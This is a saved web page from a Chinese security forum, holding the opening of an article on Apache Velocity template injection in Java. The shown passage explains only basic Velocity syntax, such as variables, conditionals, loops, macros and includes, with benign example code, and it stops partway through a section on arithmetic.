(MIT) | Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com) | https://github.com/sindresorhus/github-markdown-css */@font-face{font-family:octicons-anchor;src:url(data:font/woff;charset=utf-8;base64,d09GRgABAAAAAAYcAA0AAAAACjQAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABGRlRNAAABMAAAABwAAAAca8vGTk9TLzIAAAFMAAAARAAAAFZG1VHVY21hcAAAAZAAAAA+AAABQgAP9AdjdnQgAAAB0AAAAAQAAAAEACICiGdhc3AAAAHUAAAACAAAAAj//wADZ2x5ZgAAAdwAAADRAAABEKyikaNoZWFkAAACsAAAAC0AAAA2AtXoA2hoZWEAAALgAAAAHAAAACQHngNFaG10eAAAAvwAAAAQAAAAEAwAACJsb2NhAAADDAAAAAoAAAAKALIAVG1heHAAAAMYAAAAHwAAACABEAB2bmFtZQAAAzgAAALBAAAFu3I9x/Nwb3N0AAAF/AAAAB0AAAAvaoFvbwAAAAEAAAAAzBdyYwAAAADP2IQvAAAAAM/bz7t4nGNgZGFgnMDAysDB1Ml0hoGBoR9CM75mMGLkYGBgYmBlZsAKAtJcUxgcPsR8iGF2+O/AEMPsznAYKMwIkgMA5REMOXicY2BgYGaAYBkGRgYQsAHyGMF8FgYFIM0ChED+h5j//yEk/3KoSgZGNgYYk4GRCUgwMaACRoZhDwCs7QgGAAAAIgKIAAAAAf//AAJ4nHWMMQrCQBBF/0zWrCCIKUQsTDCL2EXMohYGSSmorScInsRGL2DOYJe0Ntp7BK+gJ1BxF1stZvjz/v8DRghQzEc4kIgKwiAppcA9LtzKLSkdNhKFY3HF4lK69ExKslx7Xa+vPRVS43G98vG1DnkDMIBUgFN0MDXflU8tbaZOUkXUH0+U27RoRpOIyCKjbMCVejwypzJJG4jIwb43rfl6wbwanocrJm9XFYfskuVC5K/TPyczNU7b84CXcbxks1Un6H6tLH9vf2LRnn8Ax7A5WQAAAHicY2BkYGAA4teL1+yI57f5ysDNwgAC529f0kOmWRiYVgEpDgYmEA8AUzEKsQAAAHicY2BkYGB2+O/AEMPCAAJAkpEBFbAAADgKAe0EAAAiAAAAAAQAAAAEAAAAAAAAKgAqACoAiAAAeJxjYGRgYGBhsGFgYgABEMkFhAwM/xn0QAIAD6YBhwB4nI1Ty07cMBS9QwKlQapQW3VXySvEqDCZGbGaHULiIQ1FKgjWMxknMfLEke2A+IJu+wntrt/QbVf9gG75jK577Lg8K1qQPCfnnnt8fX1NRC/pmjrk/zprC+8D7tBy9DHgBXoWfQ44Av8t4Bj4Z8CLtBL9CniJluPXASf0Lm4CXqFX8Q84dOLnMB17N4c7tBo1AS/Qi+hTwBH4rwHHwN8DXqQ30XXAS7QaLwSc0Gn8NuAVWou/gFmnjLrEaEh9GmDdDGgL3B4JsrRPDU2hTOiMSuJUIdKQQayiAth69r6akSSFqIJuA19TrzCIaY8sIoxyrNIrL//pw7A2iMygkX5vDj+G+kuoLdX4GlGK/8Lnlz6/h9MpmoO9rafrz7ILXEHHaAx95s9lsI7AHNMBWEZHULnfAXwG9/ZqdzLI08iuwRloXE8kfhXYAvE23+23DU3t626rbs8/8adv+9DWknsHp3E17oCf+Z48rvEQNZ78paYM38qfk3v/u3l3u3GXN2Dmvmvpf1Srwk3pB/VSsp512bA/GG5i2WJ7wu430yQ5K3nFGiOqgtmSB5pJVSizwaacmUZzZhXLlZTq8qGGFY2YcSkqbth6aW1tRmlaCFs2016m5qn36SbJrqosG4uMV4aP2PHBmB3tjtmgN2izkGQyLWprekbIntJFing32a5rKWCN/SdSoga45EJykyQ7asZvHQ8PTm6cslIpwyeyjbVltNikc2HTR7YKh9LBl9DADC0U/jLcBZDKrMhUBfQBvXRzLtFtjU9eNHKin0x5InTqb8lNpfKv1s1xHzTXRqgKzek/mb7nB8RZTCDhGEX3kK/8Q75AmUM/eLkfA+0Hi908Kx4eNsMgudg5GLdRD7a84npi+YxNr5i5KIbW5izXas7cHXIMAau1OueZhfj+cOcP3P8MNIWLyYOBuxL6DRylJ4cAAAB4nGNgYoAALjDJyIAOWMCiTIxMLDmZedkABtIBygAAAA==)format("woff")}.markdown-body{color:#333;font-family:Monospaced Number,Chinese Quote,-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,PingFang SC,Hiragino Sans GB,Microsoft YaHei,Helvetica Neue,Helvetica,Arial,sans-serif;font-size:15px;line-height:24px;letter-spacing:.05em;word-wrap:break-word}.markdown-body a{background:transparent}.markdown-body a:active,.markdown-body a:hover{outline:0}.markdown-body strong{font-weight:bold}.markdown-body img{border:0}.markdown-body pre{font-family:"Meiryo UI","YaHei Consolas Hybrid",Consolas,"Malgun Gothic","Segoe UI","Trebuchet MS",Helvetica,monospace,monospace}.markdown-body *{-moz-box-sizing:border-box;box-sizing:border-box}.markdown-body a{color:#4183c4;text-decoration:none}.markdown-body a:hover,.markdown-body a:active{text-decoration:underline}.markdown-body ul{padding:0}.markdown-body pre{font:12px Consolas,"Liberation Mono",Menlo,Courier,monospace}.markdown-body>*:first-child{margin-top:0!important}.markdown-body>*:last-child{margin-bottom:0!important}.markdown-body h3,.markdown-body h4,.markdown-body h5{position:relative;margin-top:1em;margin-bottom:16px;font-weight:bold;line-height:1.4}.markdown-body h3{font-size:20px;line-height:1.43}.markdown-body h4{font-size:18px}.markdown-body h5{font-size:1em}.markdown-body p,.markdown-body ul,.markdown-body pre{margin-top:0;margin-bottom:24px}.markdown-body ul{padding-left:2em}.markdown-body img{max-width:100%;-moz-box-sizing:border-box;box-sizing:border-box}.markdown-body .highlight{margin-bottom:16px}.markdown-body .highlight pre{padding:16px;overflow:auto;font-size:85%;background-color:#f7f7f7;border-radius:3px}.markdown-body .highlight pre{margin-bottom:0;word-break:normal}.markdown-body pre{word-wrap:normal}/*! Pretty printing styles. Used with prettify.js. */@media screen{}@media print,projection{}.markdown-body .highlight pre{line-height:1.6}@media only print{}@media screen{}</style>
<style>.highlight .k{color:#204a87;font-weight:bold}.highlight .n{color:#000000}.highlight .o{color:#ce5c00;font-weight:bold}.highlight .p{color:#000000;font-weight:bold}.highlight .cp{color:#8f5902;font-style:italic}.highlight .c1{color:#8f5902;font-style:italic}.highlight .kt{color:#204a87;font-weight:bold}.highlight .s{color:#4e9a06}.highlight .nb{color:#204a87}.highlight .nf{color:#000000}.highlight .nl{color:#f57900}.highlight .mf{color:#0000cf;font-weight:bold}.highlight .mi{color:#0000cf;font-weight:bold}</style>
<style>@-webkit-keyframes a{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes a{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@media (max-width:800px){}</style>
<!--[if lte IE 8]>
<script src="http://code.jquery.com/jquery-1.11.3.min.js"></script>
<![endif]-->
<!--[if !IE]> -->
<style>#waf_nc_block{position:fixed;width:100%;height:100%;top:0;bottom:0;left:0;z-index:99999}</style><style>@media (pointer:coarse){@media only screen and (max-device-width:1024px){}@media only screen and (max-device-width:414px){}@media only screen and (max-device-width:320px){}}</style><style>@media screen and (max-width:768px){}</style><style>/*!
* Waves v0.7.5
* http://fian.my.id/Waves
*
* Copyright 2014-2016 Alfiana E. Sibuea and other contributors
* Released under the MIT license
* https://github.com/fians/Waves/blob/master/LICENSE
*/</style><style>@media (max-height:620px){}@media (max-height:783px){}@-webkit-keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}@keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}</style><style>@-webkit-keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@media (pointer:coarse){}</style><style>:root{--sr-annote-color-0:#b4d9fb;--sr-annote-color-1:#ffeb3b;--sr-annote-color-2:#a2e9f2;--sr-annote-color-3:#a1e0ff;--sr-annote-color-4:#a8ea68;--sr-annote-color-5:#ffb7da}</style><style>@-webkit-keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@-webkit-keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes fadeOut{0%{opacity:1}to{opacity:0}}@keyframes fadeOut{0%{opacity:1}to{opacity:0}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}@-webkit-keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}@keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style data-id=immersive-translate-input-injected-css>@-webkit-keyframes immersive-translate-loading-animation{from{-webkit-transform:rotate(0deg)}to{-webkit-transform:rotate(359deg)}}@keyframes immersive-translate-loading-animation{from{transform:rotate(0deg)}to{transform:rotate(359deg)}}@keyframes immersiveTranslateShadowRolling{0%{box-shadow:0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0)}12%{box-shadow:100px 0 var(--loading-color),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0)}25%{box-shadow:110px 0 var(--loading-color),100px 0 var(--loading-color),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0)}36%{box-shadow:120px 0 var(--loading-color),110px 0 var(--loading-color),100px 0 var(--loading-color),0px 0 rgba(255,255,255,0)}50%{box-shadow:130px 0 var(--loading-color),120px 0 var(--loading-color),110px 0 var(--loading-color),100px 0 var(--loading-color)}62%{box-shadow:200px 0 rgba(255,255,255,0),130px 0 var(--loading-color),120px 0 var(--loading-color),110px 0 var(--loading-color)}75%{box-shadow:200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),130px 0 var(--loading-color),120px 0 var(--loading-color)}87%{box-shadow:200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),130px 0 var(--loading-color)}100%{box-shadow:200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0)}}@media screen and (max-width:768px){}@media screen and (max-width:768px){}</style><meta name=referrer content=no-referrer><link rel=icon href="data:image/x-icon;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAMAAABEpIrGAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAADDUExURUxpcVVVVUNDVT5CTz1BUEBVVT1BUD1BTz5CTz5GT0BDUVVVVT5CTz5BUj1CTz5BT05OYj1CUD5GVUJCUj5CUD5BTz5BT0lJbT5CUEJCVT9DUUBHVT5CUD5CTz9CUD5BTz1BTz5CUEREUz5CUD5BUD5DTz5CUD5BT0BDUT5CTz1CUD5EUUBgYEBDUT5CUT1CTz1BUD5BUD9DUT1CT0REVT5BUENDUT1BUEBGUz1BUD9DT0FBUz1CTz5BTz1CUD1BUD1BT5JdbS4AAABAdFJOUwAJKr76DPbywR1MBuRO5fsNsyEfvdtKB4MbfiTa+FnegYwitbBXfPdYrt0pCEiL9XmsRdgeVhO8KI2KK45a2b/ePQx7AAAAwUlEQVQ4y4XTxw7CQAwE0A2E0BN67733Xv3/X4U0kYgimKxP9vgdfNhVildaBVfmpQGPaPD+7mjAW74g5q8Ewqd4QHy1T+JCm4IdsqswsEUUchhYHxCFhYENkpYw0MCFEZuCJYKuMDB1LzQZsPLehX/BCONEGCiWcWGKghKmlTAwwDA3GbByGArCQA39UBiYLfwX/gD3mdyEgSy6i8nAuIfuLAx00ByFgbaB5hT3VdUDmk8mfc0fa9Y1oKLZKyNo+QEJQV3gLnHrKwAAAABJRU5ErkJggg==" type=image/x-icon data-sf-original-href=https://xz.aliyun.com/static/icon/favicon.ico><style>.sf-hidden{display:none!important}</style><link rel=canonical href="https://xz.aliyun.com/t/15358?time__1311=GqjxnD2DyG0Q%3DGNDQ0PiKqAKitOp6u0AbD"><meta http-equiv=content-security-policy content="default-src 'none'; font-src 'self' data:; img-src 'self' data:; style-src 'unsafe-inline'; media-src 'self' data:; script-src 'unsafe-inline' data:; object-src 'self' data:; frame-src 'self' data:;"><style>img[src="data:,"],source[src="data:,"]{display:none!important}</style></head>
<body>
<div class="navbar navbar-default">
<div class=navbar-inner>
<div class=container style=text-align:center;position:relative>
<!--[if lte IE 8]>
<span style="display:inline-block;margin:0 auto;color:red;">为了更好的体验请使用IE10及以上版本</span>
<![endif]-->
<div class=brand-box>
<a class=brand href=https://xz.aliyun.com/tab/1></a>
</div>
<a href="https://account.aliyun.com/login/login.htm?oauth_callback=https%3A%2F%2Fxz.aliyun.com%2Ft%2F15358&amp;from_type=xianzhi" class="pull-right anonymous-user hh_loding sf-hidden">
登录</a>
<div class="nav-collapse collapse">
<div class="search d1 text-right">
<form action=/search>
<input type=text placeholder=搜索 name=keyword value>
</form>
</div>
</div>
</div>
</div>
</div>
<div id=Wrapper class=container>
<div class=row2>
<div class=span10>
<div class="row box content" width="1200px !important" style=width:1200px>
<div class=box-container>
<div class=main-topic>
<div class="clearfix user-info topic-list">
<p><span class=content-title>JAVA安全之Velocity模板注入刨析</span>
</p>
<div class=topic-info>
<span class=info-left>
<a href=https://xz.aliyun.com/u/10995>
<span class="username cell"> Al1ex</span></a> <span class=i-seprator> / </span>
<span> 2024-08-21 10:25:55</span><span class=i-seprator> / </span>
<span>发表于四川 / </span>
<span>浏览数 21</span>
<span class=content-node>
<span class="label label-default label-node-first">
<a href=https://xz.aliyun.com/tab/4>社区板块</a></span>
<span class="label label-default">
<a href=https://xz.aliyun.com/node/16>WEB安全</a></span>
</span>
</span>
<span class="pull-right t-vote cell info-right"><a class="vote vote-up" href=javascript:void(0)>
顶(0)</a>
<a class="vote vote-down" href=javascript:void(0)>
踩(0)</a></span>
</div>
</div>
<hr>
<div id=topic_content class="topic-content markdown-body">
<h3 id=toc-0>文章前言</h3>
<p>关于Velocity模板注入注入之前一直缺乏一个系统性的学习和整理搜索网上大多数类似的内容都是一些关于漏洞利用的复现而且大多都仅限于Velocity.evaluate的执行对于载荷的构造以及执行过程并没有详细的流程分析于是乎只能自己动手来填坑了~</p>
<h3 id=toc-1>模板介绍</h3>
<p>Apache Velocity是一个基于模板的引擎用于生成文本输出(例如HTML、XML或任何其他形式的ASCII文本)它的设计目标是提供一种简单且灵活的方式来将模板和上下文数据结合在一起因此被广泛应用于各种Java应用程序中包括Web应用</p>
<h3 id=toc-2>基本语法</h3>
<p>Apache Velocity的语法简洁明了主要由变量引用、控制结构(例如:条件和循环)、宏定义等组成</p>
<h4>变量引用</h4>
<p>在Velocity模板中可以使用$符号来引用上下文中的变量,例如:</p>
<div class=highlight><pre><span></span><span class=n>Hello</span><span class=p>,</span> <span class=err>$</span><span class=n>name</span><span class=o>!</span>
</pre></div>
<p>示例代码:</p>
<div class=highlight><pre><span></span><span class=cp>#Java代码</span>
<span class=n>context</span><span class=p>.</span><span class=n>put</span><span class=p>(</span><span class=s>"name"</span><span class=p>,</span> <span class=s>"Al1ex"</span><span class=p>);</span>
<span class=cp>#模板内容</span>
<span class=n>Hello</span><span class=p>,</span> <span class=err>$</span><span class=n>name</span><span class=o>!</span> <span class=c1>// 输出: Hello, Al1ex!</span>
</pre></div>
<h4>条件判断</h4>
<p>Velocity支持基本的条件判断通过#if、#else和#end指令来实现</p>
<div class=highlight><pre><span></span><span class=cp>#if($user.isLoggedIn())</span>
<span class=n>Welcome</span> <span class=n>back</span><span class=p>,</span> <span class=err>$</span><span class=n>user</span><span class=p>.</span><span class=n>name</span><span class=o>!</span>
<span class=cp>#else</span>
<span class=n>Please</span> <span class=n>log</span> <span class=n>in</span><span class=p>.</span>
<span class=cp>#end</span>
</pre></div>
<p>示例代码:</p>
<div class=highlight><pre><span></span><span class=cp>#Java代码</span>
<span class=n>context</span><span class=p>.</span><span class=n>put</span><span class=p>(</span><span class=s>"user"</span><span class=p>,</span> <span class=n>new</span> <span class=n>User</span><span class=p>(</span><span class=s>"Al1ex"</span><span class=p>,</span> <span class=nb>true</span><span class=p>));</span> <span class=c1>// 假设 User 类有 isLoggedIn 方法</span>
<span class=cp>#模板内容</span>
<span class=cp>#if($user.isLoggedIn())</span>
<span class=n>Welcome</span> <span class=n>back</span><span class=p>,</span> <span class=err>$</span><span class=n>user</span><span class=p>.</span><span class=n>name</span><span class=o>!</span>
<span class=cp>#else</span>
<span class=n>Please</span> <span class=n>log</span> <span class=n>in</span><span class=p>.</span>
<span class=cp>#end</span>
<span class=c1>// 输出: Welcome back, Al1ex!</span>
</pre></div>
<h4>循环操作</h4>
<p>通过使用#foreach来遍历集合或数组</p>
<div class=highlight><pre><span></span><span class=cp>#foreach($item in $items)</span>
<span class=o>&lt;</span><span class=n>li</span><span class=o>&gt;</span><span class=err>$</span><span class=n>item</span><span class=o>&lt;/</span><span class=n>li</span><span class=o>&gt;</span>
<span class=cp>#end</span>
</pre></div>
<p>示例代码:</p>
<div class=highlight><pre><span></span><span class=cp>#Java代码</span>
<span class=n>context</span><span class=p>.</span><span class=n>put</span><span class=p>(</span><span class=s>"items"</span><span class=p>,</span> <span class=n>Arrays</span><span class=p>.</span><span class=n>asList</span><span class=p>(</span><span class=s>"Apple"</span><span class=p>,</span> <span class=s>"Banana"</span><span class=p>,</span> <span class=s>"Cherry"</span><span class=p>));</span>
<span class=cp>#模板内容</span>
<span class=o>&lt;</span><span class=n>ul</span><span class=o>&gt;</span>
<span class=cp>#foreach($item in $items)</span>
<span class=o>&lt;</span><span class=n>li</span><span class=o>&gt;</span><span class=err>$</span><span class=n>item</span><span class=o>&lt;/</span><span class=n>li</span><span class=o>&gt;</span>
<span class=cp>#end</span>
<span class=o>&lt;/</span><span class=n>ul</span><span class=o>&gt;</span>
<span class=cp>#输出:</span>
<span class=o>&lt;</span><span class=n>ul</span><span class=o>&gt;</span>
<span class=o>&lt;</span><span class=n>li</span><span class=o>&gt;</span><span class=n>Apple</span><span class=o>&lt;/</span><span class=n>li</span><span class=o>&gt;</span>
<span class=o>&lt;</span><span class=n>li</span><span class=o>&gt;</span><span class=n>Banana</span><span class=o>&lt;/</span><span class=n>li</span><span class=o>&gt;</span>
<span class=o>&lt;</span><span class=n>li</span><span class=o>&gt;</span><span class=n>Cherry</span><span class=o>&lt;/</span><span class=n>li</span><span class=o>&gt;</span>
<span class=o>&lt;/</span><span class=n>ul</span><span class=o>&gt;</span>
</pre></div>
<h4>宏定义类</h4>
<p>Velocity支持定义宏方便复用代码块宏通过#macro定义通过#end结束</p>
<div class=highlight><pre><span></span><span class=cp>#macro(greet $name)</span>
<span class=n>Hello</span><span class=p>,</span> <span class=err>$</span><span class=n>name</span><span class=o>!</span>
<span class=cp>#end</span>
<span class=cp>#greet("World")</span>
</pre></div>
<p>示例代码:</p>
<div class=highlight><pre><span></span><span class=cp>#模板内容</span>
<span class=cp>#macro(greet $name)</span>
<span class=n>Hello</span><span class=p>,</span> <span class=err>$</span><span class=n>name</span><span class=o>!</span>
<span class=cp>#end</span>
<span class=cp>#greet("Alice")</span>
<span class=cp>#输出: Hello, Alice!</span>
</pre></div>
<h4>方法调用</h4>
<p>Velocity允许使用#符号调用工具类的方法,在使用工具类时你需要在上下文中放入相应的对象</p>
<div class=highlight><pre><span></span><span class=cp>#set($currentDate = $dateTool.get("yyyy-MM-dd"))</span>
<span class=n>Today</span><span class=err>'</span><span class=n>s</span> <span class=n>date</span> <span class=n>is</span> <span class=err>$</span><span class=n>currentDate</span><span class=p>.</span>
</pre></div>
<p>示例代码:</p>
<div class=highlight><pre><span></span><span class=n>import</span> <span class=n>org</span><span class=p>.</span><span class=n>apache</span><span class=p>.</span><span class=n>commons</span><span class=p>.</span><span class=n>lang3</span><span class=p>.</span><span class=n>time</span><span class=p>.</span><span class=n>DateUtils</span><span class=p>;</span>
<span class=cp>#Java代码</span>
<span class=n>context</span><span class=p>.</span><span class=n>put</span><span class=p>(</span><span class=s>"dateTool"</span><span class=p>,</span> <span class=n>new</span> <span class=n>DateUtils</span><span class=p>());</span>
<span class=cp>#模板内容</span>
<span class=cp>#set($currentDate = $dateTool.format(new Date(), "yyyy-MM-dd"))</span>
<span class=n>Today</span><span class=err>'</span><span class=n>s</span> <span class=n>date</span> <span class=n>is</span> <span class=err>$</span><span class=n>currentDate</span><span class=p>.</span>
<span class=cp>#输出内容: </span>
<span class=n>Today</span><span class=err>'</span><span class=n>s</span> <span class=n>date</span> <span class=n>is</span> <span class=mi>2024</span><span class=o>-</span><span class=mi>08</span><span class=o>-</span><span class=mi>16</span>
</pre></div>
<h4>包含插入</h4>
<p>Velocity支持包含其他模板文件通过#include指令实现例如<br>
主模板文件main.vm</p>
<div class=highlight><pre><span></span><span class=n>Hello</span><span class=p>,</span> <span class=err>$</span><span class=n>name</span><span class=o>!</span>
<span class=cp>#if($isAdmin)</span>
<span class=cp>#include</span><span class=cpf>("adminDashboard.vm")</span><span class=cp></span>
<span class=cp>#else</span>
<span class=cp>#include</span><span class=cpf>("userDashboard.vm")</span><span class=cp></span>
<span class=cp>#end</span>
</pre></div>
<p>用户仪表盘模板文件userDashboard.vm</p>
<div class=highlight><pre><span></span><span class=n>Welcome</span> <span class=n>to</span> <span class=n>your</span> <span class=n>user</span> <span class=n>dashboard</span><span class=p>.</span>
<span class=n>Here</span> <span class=n>are</span> <span class=n>your</span> <span class=n>notifications</span><span class=p>...</span>
</pre></div>
<p>管理员仪表盘模板文件adminDashboard.vm</p>
<div class=highlight><pre><span></span><span class=n>Welcome</span> <span class=n>to</span> <span class=n>the</span> <span class=n>admin</span> <span class=n>dashboard</span><span class=p>.</span>
<span class=n>You</span> <span class=n>have</span> <span class=n>access</span> <span class=n>to</span> <span class=n>all</span> <span class=n>administrative</span> <span class=n>tools</span><span class=p>.</span>
</pre></div>
<p>假设我们有以下 Java 代码来渲染主模板:</p>
<div class=highlight><pre><span></span><span class=n>import</span> <span class=n>org</span><span class=p>.</span><span class=n>apache</span><span class=p>.</span><span class=n>velocity</span><span class=p>.</span><span class=n>app</span><span class=p>.</span><span class=n>VelocityEngine</span><span class=p>;</span>
<span class=n>import</span> <span class=n>org</span><span class=p>.</span><span class=n>apache</span><span class=p>.</span><span class=n>velocity</span><span class=p>.</span><span class=n>Template</span><span class=p>;</span>
<span class=n>import</span> <span class=n>org</span><span class=p>.</span><span class=n>apache</span><span class=p>.</span><span class=n>velocity</span><span class=p>.</span><span class=n>VelocityContext</span><span class=p>;</span>
<span class=n>import</span> <span class=n>java</span><span class=p>.</span><span class=n>io</span><span class=p>.</span><span class=n>StringWriter</span><span class=p>;</span>
<span class=n>public</span> <span class=n>class</span> <span class=n>IncludeExample</span> <span class=p>{</span>
<span class=n>public</span> <span class=k>static</span> <span class=kt>void</span> <span class=n>main</span><span class=p>(</span><span class=n>String</span><span class=p>[]</span> <span class=n>args</span><span class=p>)</span> <span class=p>{</span>
<span class=c1>// 初始化 Velocity 引擎</span>
<span class=n>VelocityEngine</span> <span class=n>velocityEngine</span> <span class=o>=</span> <span class=n>new</span> <span class=n>VelocityEngine</span><span class=p>();</span>
<span class=n>velocityEngine</span><span class=p>.</span><span class=n>init</span><span class=p>();</span>
<span class=c1>// 创建上下文并添加数据</span>
<span class=n>VelocityContext</span> <span class=n>context</span> <span class=o>=</span> <span class=n>new</span> <span class=n>VelocityContext</span><span class=p>();</span>
<span class=n>context</span><span class=p>.</span><span class=n>put</span><span class=p>(</span><span class=s>"name"</span><span class=p>,</span> <span class=s>"John Doe"</span><span class=p>);</span>
<span class=n>context</span><span class=p>.</span><span class=n>put</span><span class=p>(</span><span class=s>"isAdmin"</span><span class=p>,</span> <span class=nb>true</span><span class=p>);</span> <span class=c1>// 或者 false取决于用户权限</span>
<span class=c1>// 渲染主模板</span>
<span class=n>Template</span> <span class=n>template</span> <span class=o>=</span> <span class=n>velocityEngine</span><span class=p>.</span><span class=n>getTemplate</span><span class=p>(</span><span class=s>"main.vm"</span><span class=p>);</span>
<span class=n>StringWriter</span> <span class=n>writer</span> <span class=o>=</span> <span class=n>new</span> <span class=n>StringWriter</span><span class=p>();</span>
<span class=c1>// 合并上下文与模板</span>
<span class=n>template</span><span class=p>.</span><span class=n>merge</span><span class=p>(</span><span class=n>context</span><span class=p>,</span> <span class=n>writer</span><span class=p>);</span>
<span class=c1>// 输出结果</span>
<span class=n>System</span><span class=p>.</span><span class=n>out</span><span class=p>.</span><span class=n>println</span><span class=p>(</span><span class=n>writer</span><span class=p>.</span><span class=n>toString</span><span class=p>());</span>
<span class=p>}</span>
<span class=p>}</span>
</pre></div>
<p>根据给定的上下文如果isAdmin为 true输出将会是</p>
<div class=highlight><pre><span></span><span class=n>Hello</span><span class=p>,</span> <span class=n>John</span> <span class=n>Doe</span><span class=o>!</span>
<span class=n>Welcome</span> <span class=n>to</span> <span class=n>the</span> <span class=n>admin</span> <span class=n>dashboard</span><span class=p>.</span>
<span class=n>You</span> <span class=n>have</span> <span class=n>access</span> <span class=n>to</span> <span class=n>all</span> <span class=n>administrative</span> <span class=n>tools</span><span class=p>.</span>
</pre></div>
<p>如果isAdmin为false输出将会是</p>
<div class=highlight><pre><span></span><span class=n>Hello</span><span class=p>,</span> <span class=n>John</span> <span class=n>Doe</span><span class=o>!</span>
<span class=n>Welcome</span> <span class=n>to</span> <span class=n>your</span> <span class=n>user</span> <span class=n>dashboard</span><span class=p>.</span>
<span class=n>Here</span> <span class=n>are</span> <span class=n>your</span> <span class=n>notifications</span><span class=p>...</span>
</pre></div>
<h4>数学运算</h4>
<p>Velocity也支持基本的数学运算和字符串操作</p>
<div class=highlight><pre><span></span><span class=cp>#set($total = $price * $quantity)</span>
<span class=n>The</span> <span class=n>total</span> <span class=n>cost</span> <span class=n>is</span> <span class=err>$</span><span class=n>total</span><span class=p>.</span>
<span class=cp>#set($greeting = "Hello, " + $name)</span>
<span class=err>$</span><span class=n>greeting</span>
</pre></div>
<p>示例代码:</p>
<div class=highlight><pre><span></span><span class=cp>#Java代码</span>
